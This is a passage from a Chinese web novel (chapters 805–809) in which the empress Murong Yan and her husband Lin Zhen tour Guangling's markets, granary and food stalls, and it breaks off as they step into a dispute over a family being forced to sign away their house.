慕容嫣果然没有丝毫愠怒,她甚至微微弯下了腰,使得沉重的凤冠微微前倾,珠旒晃动着,她尽量让自己的目光与女童平视,声音放得愈发柔和:“小妹妹,怎么了?” 那女童跑到近前,反而有些害羞了,举起手里的糖葫芦,怯生生却又大胆地说:“仙…仙女姐姐,你好漂亮,这个给你吃。” 周围的大人们吓得脸都白了,那女童的父母更是几乎要晕厥过去。 慕容嫣却笑了,那一笑,仿佛冰河解冻,春回大地,连她周身威严的气场都变得温暖起来。她并未去接那糖葫芦,而是伸出戴着精致护甲的手,轻轻摸了摸女童的头: “谢谢您,小妹妹。朕…我很喜欢,不过这是你爹爹娘亲买给你的,你要好好享用。愿你日后生活,皆如这糖葫芦般,甜甜蜜蜜。” 她的动作轻柔,话语慈和,宛如邻家姐姐。 百姓们看得呆了,随即爆发出由衷的赞叹与欢呼声:“陛下仁德!”“女帝陛下万岁!” 慕容嫣直起身,对林臻无奈又莞尔地低语:“夫君,看来我这身打扮,倒像是会抢小娃娃糖食的。” 林臻眼中满是笑意,凑近些,用只有两人能听到的声音打趣道:“嫣儿之美,冠绝天下,孩童皆以为天人,心生亲近,何怪之有?只是为夫在一旁,倒显得像是护卫了。” 慕容嫣睨了他一眼,眼波流转,在珠旒后别有一番风情:“贫嘴。你本就是我的夫君,亦是这天下最坚实的护卫。” 两人低声笑语,并肩继续前行。那长长的、绣着山河图的拖尾,在宫女们的托捧下,缓缓掠过,仿佛将帝后的温情与仁德,也铺洒在了这广陵城的街道上。 他们视察了运河码头,询问了漕运粮价;参观了新建的官仓,关心春耕粮种是否充足;甚至在经过一家颇具规模的绸缎庄时,慕容嫣还驻足片刻,与那又惊又喜的店主交谈了几句,询问今年江南丝茧的收成与价格,勉励他诚信经营。 她始终保持着那份难得的随和,解答百姓疑问时条理清晰,语气平和,毫无居高临下之感。 每当她需要思考或与林臻商议时,便会自然地唤一声“夫君”,询问他的看法。 林臻则每每能给出中肯的建议,或补充,或完善,夫妻二人默契无比,一个眼神交汇便已明了对方心意。 夕阳西下,为广陵城镀上一层温暖的金晖。巡视将至尾声。 慕容嫣与林臻站在一座石桥上,眺望着运河上往来如织的舟船,远处是炊烟袅袅的民居。 慕容嫣轻轻舒了一口气,凤冠的珠翠在夕阳下闪烁着柔和的光泽:“夫君,今日所见,方知民间疾苦虽仍有,但生机勃勃,更令人欣喜。” 林臻站在她身侧,为她挡去些许晚风,闻言点头:“是啊,嫣儿。政令之效,需在这市井街巷中检验。今日你让他们起身,与他们交谈,听听他们的声音,远比看十份奏折更能知民生。” “嗯。”慕容嫣轻轻颔首,她微微侧身,看向林臻,夕阳的余晖勾勒出她完美的侧脸和华美的凤冠轮廓, “只是这身朝服,终究是太重了,行动不便,也让他们紧张。”说着,她似有些撒娇地轻声抱怨,“夫君,这凤冠压得我脖子酸。” 林臻眼中溢满心疼与宠溺,柔声道:“回行宫便为你卸下。今日辛苦我的嫣儿了。你做得极好,百姓爱戴你,是发自真心。” 慕容嫣笑了,满足地将目光重新投向运河的万点金光,轻声道:“有夫君在身边,便不觉得辛苦。” 帝后二人的身影在夕阳下拉得很长,那华美无比的两丈拖尾,此刻也仿佛融入了金色的光辉之中,成为了这片太平盛世图卷中最浓墨重彩的一笔。 第806章 民生多艰,细微处见真章 离了石桥,慕容嫣与林臻并未立刻返回行宫。 晚风带着运河的水汽和市井的烟火气,轻轻拂过,慕容嫣似乎卸下了些许朝堂上的重负,显露出几分游兴。 “夫君,”她透过珠旒,望向逐渐亮起灯火的长街,“听闻广陵夜市极富盛名,夜市千灯照碧云,今日可否略作品尝?” 她语气中带着一丝不易察觉的期盼,如同寻常人家妻子向夫君提出一个小小的愿望。 林臻看着她被华服重冠所累却依然明亮的眼眸,如何能拒绝。他微微一笑,却不忘职责:“自然可以。只是嫣儿,你这身打扮,恐怕所到之处,百姓皆要惶恐跪迎,反而失了游兴。” 慕容嫣低头看了看自己这身几乎能照亮夜色的凤袍和那需要八人托捧的拖尾,也觉不便,沉吟片刻道:“且寻一处清静雅致之所,略坐片刻,尝尝广陵风味便好。这身冠服暂且忍耐一下。” 她深知帝后安危非同小可,微服私访于她而言几无可能,能这般步行于市井之间已属难得。 林臻点头,示意内侍官前去安排。很快,队伍便悄然行至一处临河而建的三层茶肆。 这茶肆显然已被提前清场护卫,但并未驱赶周边百姓,只是加强了警戒。茶肆老板与伙计跪在门口,激动得浑身发抖。 慕容嫣步入茶肆,选择在临窗的雅座坐下,宫女们小心翼翼地将那巨大的拖尾妥善安置在她座椅周围,如同铺开了一幅绚丽的锦绣山河图。 她微微抬手:“店家平身,不必拘礼。朕与夫君只是暂歇,取些你广陵特色的茶点来便可。” 老板连声应诺,几乎是躬着身子退下准备。 林臻在她对面坐下,窗外是运河夜景,灯火阑珊,画舫如织,歌声隐隐约约随波飘来。他为她斟上一杯刚沏好的魁龙珠茶,茶香袅袅:“嫣儿,你看这广陵夜景,比之宫中如何?” 慕容嫣接过茶盏,指尖与林臻轻轻一触,她隔着珠旒望向窗外,眼神有些迷离:“宫中庄重,却少此生机。你看那画舫上的灯火,虽不及宫灯璀璨,却温暖真实;你听那隐约的市声,虽无钟鼓礼乐庄严,却满是人间烟火。夫君,我有时在想,若我不是……” “嫣儿。”林臻温和地打断她,目光深邃,“没有若是不是。你是慕容嫣,是万民之主,亦是我的妻子。正因为你是你,才能坐于此间,心系这万家灯火,思虑如何让这画舫上的歌声更欢畅,让这市井间的炊烟更绵长。” 慕容嫣微微一怔,随即莞尔,玉旒轻晃:“夫君总是如此,一言便能解我彷徨。”她轻轻啜了一口茶,赞道,“好茶,香醇甘洌。” 这时,店家亲自端了数样精致的茶点上来:千层油糕、三丁包子、翡翠烧卖,还有一碟闻着臭吃着香的广陵特有小吃——油炸臭豆腐干。 “陛下,世子,请慢用。”店家声音依旧带着颤音。 慕容嫣目光落在那碟臭豆腐干上,略显好奇:“此物气味独特,为何广陵百姓似乎甚为喜爱?”她见街上不少行人手中都拿着竹签串着的此物。 林臻笑道:“此物名为臭豆腐干,闻着虽不甚雅,入口却外酥里嫩,别有风味。嫣儿可要一试?” 慕容嫣犹豫了一下,她自幼长于宫廷,何曾接触过这等市井小吃。但她今日打定主意要体验民情,便轻轻点头:“夫君推荐,那便一试。” 林臻亲自用银筷夹起一小块,小心地吹了吹,才递到慕容嫣唇边。这个细微的举动让慕容嫣脸颊微热,好在有珠旒遮掩。她微微张口,轻轻咬下。 细细咀嚼片刻,她明眸中闪过惊喜:“果然奇妙!闻之不佳,食之却香醇无比。夫君,你也尝尝。”她也学着林臻的样子,夹起一块,隔着桌子递向他。 林臻含笑接过,吃下后点头:“确是广陵一绝。” 帝后二人如同寻常夫妻般分享小食,画面温馨得让周围垂首侍立的宫人都暗自惊讶。陛下在国世子面前,竟能如此放松自然。 品尝之余,慕容嫣并未忘记正事,她唤来店家,温和询问:“店家,你这茶肆生意如何?近来粮米油盐之价可还平稳?雇工伙计月钱几何,可够家用?” 店家受宠若惊,一一恭敬回答:“回陛下,托陛下的洪福,近年来风调雨顺,漕运通畅,物价还算平稳。小店生意也还过得去。伙计们月钱足够养家糊口,逢年过节还有些赏钱。” 慕容嫣仔细听着,偶尔追问一两句细节,得知广陵城内普通工匠一日工钱约在五十文至一百文之间,一斗米价约十五文,心中默默计算,与她所阅奏章大致相符,方才稍稍安心。 “民生多艰,细微处见真章。你们能安居乐业,朕心方安。”慕容嫣温言道,又赏了店家一些银钱,勉励其用心经营。 离开茶肆,华灯已上。慕容嫣似乎兴致仍浓,提议沿运河边再走一段。 夜色中的广陵城别有一番风情。河面上画舫凌波,丝竹管弦之声不绝于耳,歌女清丽的嗓音唱着柔软的广陵小调。两岸酒肆茶馆灯火通明,游人如织,比白日更添几分繁华与旖旎。 那两丈长的拖尾在宫灯与月色照耀下,更显流光溢彩,所过之处,百姓皆远远跪拜,却又忍不住偷眼看那对宛若从天界降临的神仙眷侣。 行至一处开阔的码头广场,只见围着一大圈人,喝彩声阵阵。原来是有杂耍艺人在表演吐火与顶竿,技艺精湛,引得围观百姓阵阵叫好。 慕容嫣停下脚步,隔着一段距离饶有兴致地观看。那杂耍艺人见到如此阵仗,先是一惊,动作都有些僵硬,但在侍卫示意下,又见女帝并未斥责,反而驻足观看,顿时受宠若惊,表演得越发卖力起来。 “夫君,你看那人,竟能将如此长的竿子顶于鼻尖,还能旋转自如,真需多年苦功。”慕容嫣轻声道,语气中带着欣赏。 林臻站在她身侧,微微颔首:“市井之中,多有奇人。百姓之乐,有时便在于此等简单的技艺与欢娱之中。” 表演结束,艺人带领班子跪地谢赏。慕容嫣示意内侍给予重赏,并温言道:“技艺精熟,赏心悦目,很好。” 那艺人激动得连连磕头:“谢陛下赏!谢陛下赏!小民祝陛下万寿无疆!” 周围百姓也纷纷跟着高呼万岁,气氛热烈。 慕容嫣在欢呼声中,微微侧头对林臻低语,声音带着一丝感慨:“夫君,你看他们,虽奔波劳碌,但得一技之长,能博人一笑,换得温饱,亦有其乐。帝王之乐,在于天下安康;百姓之乐,在于衣食足、技艺显、家人聚。其理相通,皆在于安与乐二字。” 林臻凝视着她被灯火照亮的侧颜,轻声道:“嫣儿能如此体察民情,思及此理,是天下百姓之福。” 正说着,忽闻一阵清越悠扬的琴声从不远处的一座临水阁楼中传来,琴音淙淙,如流水,如月色,意境高远,在喧嚣的夜市中开辟出一方宁静天地。 慕容嫣自幼精通音律,闻言不禁驻足细听:“这琴音清而不寒,哀而不怨,是好琴,亦是妙手。” 林臻知她雅好此道,便道:“似是《流水》之意。弹奏者功力不俗。嫣儿可欲近前一观?” 慕容嫣颔首。 一行人循声而去,见那是一座名为“听鹂馆”的琴舍。琴舍主人早已得知消息,惶恐出迎。 慕容嫣入内,并未打扰他人,只是择一静处坐下,静静聆听。那弹琴者是一位青衣老者,见到帝后驾临,先是惊慌,后在慕容嫣温和示意下,才稳住心神,继续演奏。 一曲终了,余音绕梁。 慕容嫣轻轻击节赞赏:“老先生琴艺高超,已得伯牙心境之七八分,难得。” 老者伏地:“草民拙技,有辱圣听。” “不必过谦。”慕容嫣令其平身,竟与他探讨起琴曲指法与意境来,“方才那一处滚拂,力道稍疾,若再舒缓三分,是否更显流水潺潺之态?” 老者闻言,先是惊讶,随即面露钦佩之色:“陛下明鉴!草民习琴数十载,此处确是难点,陛下竟一语中的!”他没想到女帝陛下于音律竟有如此深厚的造诣。 两人就琴艺交谈片刻,慕容嫣全无架子,所言皆切中要害,令那老者如遇知音,激动不已。最后,慕容嫣亦赏赐了老者,勉励其将琴艺传承下去。 离开琴舍,夜色已深。 慕容嫣与林臻并肩走在返回行宫的路上,身后的拖尾依旧华美,但两人的步伐却更显从容。 “广陵文风鼎盛,市井繁华,百姓虽勤于生计,亦不忘丝竹之乐,可见其心底之安乐。”慕容嫣总结道,语气中带着一丝满足后的疲惫,但更多的是欣慰,“此行不虚。” “嗯,”林臻应道,声音温和,“可见嫣儿推行的休养生息、鼓励商贸之策,已初见成效。日后或可在这广陵城多设官办书院,鼓励私学,使其文脉更盛。” “夫君所言极是。”慕容嫣点头,随即轻轻打了个小小的哈欠,凤冠的重量确实让她有些倦了。 林臻察觉,柔声道:“累了?回去便为你卸下这身沉重。” “还好。”慕容嫣摇摇头,借着宽大衣袖的遮掩,轻轻握了握林臻的手,“有夫君陪着,再累也值得。” 第807章 平易近人的慕容嫣 离开了临河的茶肆,慕容嫣并未立刻起驾。她透过珠旒,目光投向运河上满载货物的漕船和远处若隐若现的官仓建筑。 “夫君,”她声音虽轻,却带着一丝不容置疑的决断,“方才茶肆店家所言粮价平稳,朕心稍安。然耳听为虚,眼见为实。官仓储备乃社稷根基,平抑粮价之关键,朕既至广陵,不可不亲往察验。” 林臻颔首,神色亦转为肃穆:“嫣儿所虑极是。仓廪实而知礼节,仓储虚实,关乎国本,更直接牵连百姓一日三餐。我陪你同往。” 帝后仪仗遂转向,朝着广陵城东的常平仓行去。 常平仓官员早已得报,率众仓惶出迎,跪伏于仓场大门之外。 慕容嫣并未急于让他们起身,而是先抬首望了望这片由高大仓廪组成的建筑群。仓墙厚重,气象森严,但她更关心的是其内在。 “平身。”她声音清越,“引朕与国公去看看粟米仓。” “臣遵旨!”仓官紧张地起身,躬身在前引路。 慕容嫣缓步而行,那两丈长的华丽拖尾在身后铺展,与仓场略显粗砺的地面形成了鲜明对比,但她步履沉稳,目光如炬,仔细扫过仓房外部,观察墙壁是否有水渍渗漏痕迹,通风孔洞是否完好。 进入指定的粟米仓,一股谷物特有的沉闷气息扑面而来。仓内高大宽敞,堆满了一袋袋用麻布封口的粮垛,排列得颇为整齐。 慕容嫣并未止步于门口观望。她示意林臻稍等,自己则微提凤袍裙摆——尽管有宫女托着拖尾,这个细微的动作仍显出了她的决心——缓步走入粮垛之间的通道。林臻立刻紧随其后,保持着一个能随时护持的距离。 她伸出戴着精致护甲的手指,随机地在一袋粮食上按了按,感受其饱满与坚实程度。随即,她做了一个令所有仓官心惊肉跳的动作:她示意侍卫取来一把专用的青铜粮探子(一种取样工具)。 “从此处,还有那边,”她随意指了几个不同位置、不同高度的粮垛,“探进去,取些谷粒出来朕看。” 侍卫领命,熟练地将中空的粮探子刺入麻袋。慕容嫣目不转睛地看着整个过程。 取样很快完成,几名侍卫将取出的谷物呈递到慕容嫣面前的铜盘里。她仔细检视,甚至用指尖捻起几粒,靠近眼前细看,又放入鼻尖轻嗅。 “颗粒饱满,色泽金黄,干燥无异味,保存得不错。”她先是肯定了一句,仓官们刚松了口气,却听她话锋一转,“然,为何东南角第三垛底部的粮袋,探出的谷物略有潮气?” 仓官闻言,脸色瞬间煞白,噗通一声跪倒在地:“陛下明察!那…那处前些时日雨季,屋顶曾有极细微渗漏,发现后即刻修补,并已将受潮部分的粮袋移至通风处晾晒,并未霉变,亦未混入良粮之中!臣失职,请陛下治罪!” 慕容嫣沉默了片刻,目光扫过那仓官冷汗涔涔的额头,又看向林臻。林臻对她微微点头,示意观察属实。 “起来吧。”慕容嫣的语气听不出喜怒,“及时处置,未造成大损,尚属尽责。但仓储重地,关乎万千民生,一丝一毫都疏忽不得。今日是潮气,明日便可能是虫蛀或霉变。罚你三月俸禄,以儆效尤。所有仓房,需再彻查一遍。” 仓官如蒙大赦,连连叩首:“谢陛下隆恩!臣定当恪尽职守,绝不敢再有任何疏忽!” 慕容嫣这才转身,缓缓走出仓房。林臻跟在她身侧,低声道:“嫣儿心细如发,若非你亲自查验,这点细微之处恐难发现。长久以往,必成隐患。” 慕容ye轻轻呼出一口气,凤冠的珠旒微微晃动:“夫君,国之粮仓,便如百姓之锅灶,岂能容得半点砂砾?朕不得不慎。” 离开常平仓,慕容嫣并未直接摆驾,而是对林臻道:“夫君,官仓之储,是为平抑粮价,赈济灾荒。仓廪虽实,还需知市价是否真如奏报那般平稳。我们去市集看看。” 他们来到了一处离码头不远的繁闹市集。此处米行、油店、杂货铺林立,人流如织。帝后的到来再次引起了轰动和跪拜。 慕容嫣依旧下令“平身”,并径直走向一家规模颇大的米行。百姓们敬畏地让开道路,却又忍不住远远围观。 米行老板是一位精干的中年人,见到陛下亲临,激动得话都说不利索。 慕容嫣站在店门前,目光扫过店内堆放的各色米粮,直接问道:“店家,现今新米陈米作价几何?粳米、籼米又是何价?近日价格可有波动?” 老板紧张地搓着手,一一回答:“回陛下!如今是春末,去岁的新粳米约莫十五文一斗,陈米便宜些,十二三文。籼米更贱,十文左右便能得一斗。近来价格还算平稳,未有太大起伏。” 慕容嫣仔细听着,又指向另一种看起来更白净的米:“此米价几何?” “陛下好眼力,这是今年初刚到的江南软粳,要贵些,需十八文一斗。” 慕容嫣沉吟片刻,心中飞速计算对比着官仓的储备成本与市价,以及不同品质米粮的差价。她接着问:“货源可充足?漕运来的米粮,到你这店里,中间需几道手续?损耗几何?可有强买强卖或刻意囤积抬价之事?” 这些问题已然涉及商业流通的细节,那老板有些讶异于女帝竟如此内行,更加恭敬地回答:“货源足的,陛下。漕粮一到,官仓放出一部分,还有些是草民自己去附近州县收来的。手续倒也还好,缴纳该有的市税便可。损耗难免,千里漕运,舟车劳顿,一百石总能差个一两石。囤积抬价。小的不敢,也没见谁有那么大本事敢在广陵这么做。” 慕容嫣听得很认真,不时点点头。她注意到店外有些百姓似乎想买米却又有些犹豫,便温和地对老板说:“你且去忙你的生意,不必只顾着回朕的话。朕在此看看。” 老板这才敢去招呼客人。慕容嫣就站在不远处,看似随意地浏览着街景,实则耳听八方,仔细听着米行前的交易对话。 “掌柜的,今日粳米还是十五文?” “老丈,还是十五文,您要几斗?” “唉,家里半大小子吃穷老子,先来三斗吧……” “好嘞!” 听到这真实的交易对话,与老板所言及她所掌握的奏报基本一致,慕容嫣紧绷的神情才真正舒缓下来。 她转向林臻,唇角露出一丝真切的笑意,低声道:“夫君,看来广陵粮价确实平稳,民生无忧。朕心甚慰。” 林臻也微笑着回应:“此乃嫣儿治国有方,轻徭薄赋,畅通漕运之功。” 慕容yan轻轻摇头,叹道:“亦需地方官吏实心用事,如那仓官,虽有疏忽,尚能及时补救;如这些商户,能诚信经营。上下齐心,方有今日景象。” 此时,一位须发皆白的老农颤巍巍地买完米出来,看到慕容嫣的仪仗,激动地就要下跪。慕容嫣示意内侍扶住他。 “老人家,今年春耕可还顺利?粮种可够?”慕容嫣主动询问道,语气温和。 老农受宠若惊,连连点头:“托陛下洪福,风调雨顺,粮种官家也给了补贴,够用,够用!日子有盼头!” 慕容嫣欣慰地点点头,又赏了老农一些银钱,才在林臻的陪同下,转身离去。 那华美无比的两丈拖尾,在米行前的石板地上缓缓滑过,仿佛将女帝的关切与抚慰,实实在在地烙印在了这人间烟火的繁华之地。 第808章 红衣女子 广陵行宫,偏殿内。 慕容嫣褪去了那身沉重繁复的九龙四凤朝服和那两丈长的华丽拖尾,换上了一身更为轻便的衣裙。虽仍是皇家规制,但已是极尽简约,更偏向于常服的样式。 这是一条茜素红色的长裙,质地是顶级的苏绸,光滑如水,在行宫灯烛下泛着柔和高贵的光泽。 裙摆上用金线、银线及彩色丝线,以极其精巧的工艺绣着数只形态各异的凤凰。 并非朝服上那般威仪毕露、翱翔九天的姿态,而是或栖于梧桐枝头,或低头梳理羽翼,或回首顾盼,显得灵动而雅致。凤凰图案遍布裙身,但布局疏密有致,并不显得过分堆砌,反而有一种别样的妩媚与风情。 外罩一件薄如蝉翼的云纱广袖长衫,稍稍中和了茜红色的明艳,添了几分飘逸。发髻也简化了许多,未戴凤冠,只簪了一支赤金点翠凤凰衔珠步摇,并几朵小巧的珍珠珠花。 她轻轻转了个圈,裙摆微扬,上面的绣凤仿佛要活过来一般。她看向一旁含笑注视她的林臻:“夫君,这般打扮,可还像那么个出来游玩的寻常女子?” 林臻走上前,仔细端详,眼中满是欣赏与温柔:“我的嫣儿,无论穿什么都是最美的。这身衣裙华美不失灵动,少了几分朝堂上的威严,多了几分闺阁女儿的娇俏,甚好。只是……” 他顿了顿,笑意加深,“这通身的气度,尤其是眉眼间的风华,终究是掩不住的。” 慕容嫣嗔怪地睨了他一眼,唇角却忍不住扬起:“就会哄我开心。” 她整理了一下衣袖,“今日不许称陛下,你们……” 她看向林臻和贴身侍女麝月,“便当我是个出身尚可、与夫君一同游历广陵的寻常夫人,可好?” 麝月抿嘴一笑,她今日也换了一身水绿色的襦裙,显得娇俏可爱:“是,夫~人~!公子!”她机灵地改了口。 林臻也笑着拱手:“谨遵夫人之命。” 慕容嫣心情甚好:“那便出发吧。昨日看了仓廪市价,今日便去看看广陵的巧匠与美食,真正体会这‘淮左名都’的烟火气。” 三人并未摆开盛大仪仗,只带了数名便装精锐侍卫远远护卫,悄然从行宫侧门而出,融入了广陵城午后热闹的人流之中。 换下凤袍的慕容嫣,虽然衣饰依旧华贵,气质出众,但毕竟没有了那令人不敢直视的帝王朝服和庞大拖尾,周围百姓虽觉这三人(尤其是那红衣女子)容貌气度惊人,多半以为是哪家高门的贵眷与公子出游,惊叹之余,倒不至于惶恐跪拜,只是纷纷侧目,低声赞叹。 这让他们得以更近距离地观察市井生活。 行至一座古老的石拱桥下,见桥洞旁围着一圈人,不时发出惊叹声。慕容嫣心生好奇:“那边是在做什么?” 麝月最是活泼,踮脚望了望:“夫人,好像是个老匠人在做糖画呢!手艺瞧着极好!” “糖画?”慕容嫣自幼长于深宫,对此等民间技艺只闻其名,未见其详,顿时生了兴趣,“去看看。” 三人走近,只见一位头发花白、精神矍铄的老者,坐在一个小炉子前,炉上坐着一口小铜锅,里面熬着金灿灿的糖稀。老者手持一个小铜勺,手腕轻抖,涓涓细流的糖稀便落在光洁的石板上,迅速凝固成各种形状。须臾之间,一条栩栩如生的糖龙便呈现出来,引得围观孩童阵阵欢呼。 “好精巧的手艺!”慕容嫣不禁低声赞叹,看得目不转睛。 那老匠人做完糖龙,小心地用竹签粘好,递给一个眼巴巴等了许久的小童。他抬起头,正好看到慕容嫣三人。见慕容嫣衣饰不凡,气质高华,老匠人忙笑着招呼:“这位夫人,公子,可要试试?小老儿这糖画,可是广陵一绝,能画七十二般花样呢!” 慕容嫣有些意动,却不知该如何选择。她看向林臻,眼中带着询问。 林臻含笑对老匠人道:“老人家,便为我夫人画一个她属相的,可好?”他低声对慕容嫣道,“嫣儿,你生辰在七月,属羊,对吧?” 慕容嫣微讶,没想到林臻连这等细微之事都记得清楚,心中泛起暖意,轻轻点头。 老匠人笑道:“好嘞!夫人属羊,小老儿便画个‘吉祥如意’羊!” 说罢,他舀起一勺糖稀,手腕沉稳而灵活地挥洒开来。糖稀如金线流淌,时而急促,时而舒缓,勾勒出弯曲的羊角、温顺的面庞、丰盈的体态……最后轻轻一点,画出点睛之笔。一只憨态可掬、寓意吉祥的糖羊便完成了,阳光下晶莹剔透,金光闪闪。 “好!”周围人齐声喝彩。 老匠人将糖羊递过来,林臻接过,付了钱,这才转身将糖画递给慕容嫣。 慕容嫣小心翼翼地接过,像捧着什么珍宝。她看着那精致的糖羊,有些无从下口,又觉得有趣。她学着旁边孩童的样子,轻轻伸出舌尖舔了一下。 “好甜!”她眼睛微微一亮,那是一种纯粹而直接的甜味,不同于宫中的精巧点心,带着一股焦糖的香气。她将糖画递到林臻唇边:“夫君,你也尝尝。” 林臻就着她的手,也轻轻咬了一小口羊角,笑道:“果然甜脆可口。嫣儿喜欢便好。” 慕容嫣又递给麝月,麝月笑嘻嘻地也尝了一口。 三人分食一个糖画,其乐融融,仿佛真的只是寻常人家出来游玩。 慕容嫣心情极好,又与那老匠人攀谈起来:“老人家,您这手艺做了多少年了?生意可好?家中可还宽裕?” 老匠人见这位贵夫人如此随和,话也多了起来:“回夫人话,小老儿做这糖画快五十年啦!年轻时走南闯北,如今老了,就在这广陵桥头固定摆个摊子。托您的福,生意还行,糊口之余,还能给孙儿攒几个铜板买糖吃。”他脸上洋溢着满足的笑容,“如今世道好,女帝陛下圣明,赋税轻,咱们这些小老百姓,只要肯出力,日子总能过得去。” 慕容嫣听着这最质朴的赞扬,心中比吃了糖画还甜。她示意麝月又多给了老匠人一些赏钱,温言道:“手艺精湛,心意更佳。愿您老人家健康长寿,这甜蜜的手艺能一直传承下去。” 离开糖画摊子,慕容嫣拿着那半个糖画,一边走一边偶尔舔一下,全然不顾形象,脸上带着轻松的笑意。林臻看着她这般小女儿情态,眼中的宠溺几乎要溢出来。 走着走着,慕容嫣忽然被一阵极其诱人的食物香气吸引了。那是一种混合了面食焦香、肉馅鲜香和浓郁汤汁的味道,令人食指大动。 “这是什么味道?好香!”她循着香味望去,只见街角一处不起眼的小店前排着长队,店招上写着“黄桥烧饼”四个大字。 “是黄桥烧饼,”林臻解释道,“广陵特色,以酥皮和鲜肉馅闻名,出炉时最为可口。看这排队的人数,想必是家老字号。” 慕容嫣看着那长长的队伍,又看了看自己手中的糖画,有些犹豫。她身为女帝,何曾需要排队等待食物? 麝月机灵,立刻道:“夫人,您和公子去那边茶棚稍坐,奴婢去排队便是。” 慕容嫣却摇了摇头,她今日既然要做“寻常夫人”,便该有寻常夫人的样子。她深吸一口气,那香气实在太诱人:“不必,既然来了,便体验一回。夫君,我们一起去排。” 说着,她竟真的拉着林臻的手,走到了队伍末尾。 这一举动,不仅让麝月和暗处的侍卫吃了一惊,连周围排队的百姓也纷纷侧目。这两位一看就非富即贵的人物,居然也来排队买烧饼? 慕容嫣却恍若未觉,她站在队伍中,微微踮脚向前张望,有些好奇,有些期待,那支凤凰衔珠步摇随着她的动作轻轻晃动,流苏摇曳生姿。林臻站在她身后,以一种保护的姿态,眼中全是笑意和纵容。 排队的过程有些漫长,但慕容嫣并未不耐烦。她听着前后百姓的闲聊,听着他们对这家烧饼的夸赞,听着他们谈论家长里短、柴米油盐,只觉得无比新鲜有趣。 终于轮到他们。店家热情地招呼:“夫人,公子,要几个?刚出炉的,最好吃!” 慕容嫣看着炉子里金黄酥脆、冒着热气的烧饼,问道:“这烧饼有何讲究?” 店家自豪地介绍:“咱家的烧饼,皮子要擀十八层,馅料是精选的猪前腿肉,用老汤调馅,一口咬下去,外酥里嫩,满口汤汁儿!” “那便要六个。”慕容嫣道。 林臻付钱,麝月上前接过用油纸包好的、烫手的烧饼。 三人走到一旁人稍少处,慕容嫣迫不及待地拿起一个,小心地吹了吹,然后轻轻咬了一口。 “哎呀!”她轻呼一声,果然有浓郁的汤汁溢出,酥皮簌簌落下。她赶紧用手接着,吃得有些许狼狈,却忍不住赞道,“好吃!果然名不虚传!夫君,你快尝尝!” 林臻也拿起一个,吃得十分斯文,但眼中也满是赞赏:“酥香鲜嫩,确是美味。” 慕容嫣吃得开心,甚至忘了注意仪态,嘴角沾了一点酥皮碎屑。林臻自然地伸出手指,轻轻为她拭去。 这个亲昵的动作,让慕容嫣脸颊微红,在茜红色衣裙的映衬下,更显娇艳动人。她抬眼望他,眸中光华流转,似有万千情意。此刻,她不是君临天下的女帝,只是一个与夫君分享美食、被夫君宠溺着的小女子。 麝月在旁边看着,偷偷抿嘴笑,自觉地将目光转向别处。 慕容嫣将剩下的烧饼分给麝月和暗处的侍卫,让大家一同品尝这市井美味。 夕阳西下,将三人的影子拉长。慕容嫣一手拿着没吃完的糖画,一手轻轻挽着林臻的手臂,裙摆上那些灵动的凤凰在余晖中仿佛要翩飞而起。 “夫君,今日真好。”她轻声说,语气中是全然的放松与满足。 “嗯,”林臻应着,轻轻握住她的手,“以后若有机会,再多陪你这样走走。” 第809章 慕容嫣辩论 在广陵城的第三日,晨光熹微,慕容嫣便已起身。 她今日选的仍是一身便于行动的裙装,但颜色换成了更为清雅的月白。 裙料是顶级的缭绫,轻薄透气,行走间如水波流动。 裙摆与袖口处,用淡金色和银色的丝线,绣着展翅欲飞的凤凰尾羽图案,比起昨日茜红色裙上的凤凰,更显含蓄典雅,宛若将晨曦与月光织入了裙中。 发髻松松绾就,只簪了一对珍珠凤凰小簪,并一朵新鲜的白色栀子花,清香袭人。 “今日去广陵的书市与绣坊看看如何?”慕容嫣对正在为她系紧腰间丝绦的林臻说道,“广陵文风鼎盛,绣娘巧手亦冠绝江南,或许能见到不少新奇花样,于政务亦有所启发。” 她时刻不忘将所见所闻与治国理政相联系。 林臻点头:“都依你。广陵的缂丝与刺绣确是贡品级别,去看看也好。” 三人依旧轻装简从,先是去了城东著名的书市。这里不仅是售卖书籍笔墨之地,更是文人墨客交流、甚至私下议论时政的场所。 慕容嫣流连于各个书摊之前,时而拿起一本古籍翻阅,时而倾听一旁书生们的辩论,神色专注。 然而,就在他们即将离开书市,转向绣坊街时,一阵压抑的哭泣声和激烈的争吵声从一条僻静的巷弄里传来,打断了这份闲适雅致。 慕容嫣脚步一顿,黛眉微蹙:“那边何事喧哗?” 麝月机灵,立刻道:“夫人,奴婢先去瞧瞧。” 她快步走向巷口,片刻后回来,脸色有些愤愤不平, “夫人,公子,是一户人家好像遇到了难处,有个穿着体面像是管事模样的人,带着几个豪仆,正在逼他们签什么契书,那家的妇人在哭求。” 慕容嫣与林臻对视一眼。 “去看看。”慕容嫣声音平静,却带着不容置疑的意味。她虽做民间打扮,但遇到不平事,那份帝王的担当便自然而然地流露出来。 巷内,果然见一座略显破败的小院门前,围了几个人。 一个穿着绸缎长衫、留着两撇胡子的中年男子,正趾高气扬地拿着一纸文书,对着一对穿着粗布衣服、面带愁苦的老年夫妇说话。旁边还站着几个膀大腰圆的家丁。 一个年轻妇人正跪在地上哭泣哀求。 “……白纸黑字,你们当初借钱时画了押的!如今到期还不上,这院子抵给我家老爷,已是天大的恩典!还想怎地?”那管事模样的男子抖着手中的文书,语气倨傲。 “刘管事,行行好,再宽限几日吧!”老翁苦苦哀求,“这院子是祖产,万万不能丢啊!我儿病重,钱都拿去抓药了,实在是……” “宽限?宽限到几时?你家这情况,还能拿出钱来?”刘管事嗤笑一声,“赶紧画押,拿了这区区十两银子的找补,另寻住处去吧!别敬酒不吃吃罚酒!” 他示意了一下,身后的家丁便上前一步,气势汹汹。 那跪着的年轻妇人抱住家丁的腿哭喊:“不要抢我们的房子!求求你们了!” 慕容嫣看到此处,心中已明白了七八分。 这分明是豪强之家趁人之危,以低额债务强夺民宅的恶行! 她深吸一口气,缓步上前。林臻紧随其后,目光锐利地扫过那刘管事和几个家丁。麝月也鼓起勇气,跟在主母身后。 “诸位,何事争执不休?”慕容嫣开口,声音清冷悦耳,自有一股威仪,瞬间吸引了所有人的目光。 那刘管事见突然来了三位气度不凡、衣着精致的人物,尤其是当中那位月白裙裳的女子,虽无过多饰物,但通身的气派却让他不敢小觑,语气稍稍收敛了些:“这位夫人,此事与您无关。不过是这家人欠债不还,我们依契收取抵押而已。” “哦?是何契约?欠债几何?抵押又作价多少?”慕容嫣语气平和,却一连问了三个关键问题。 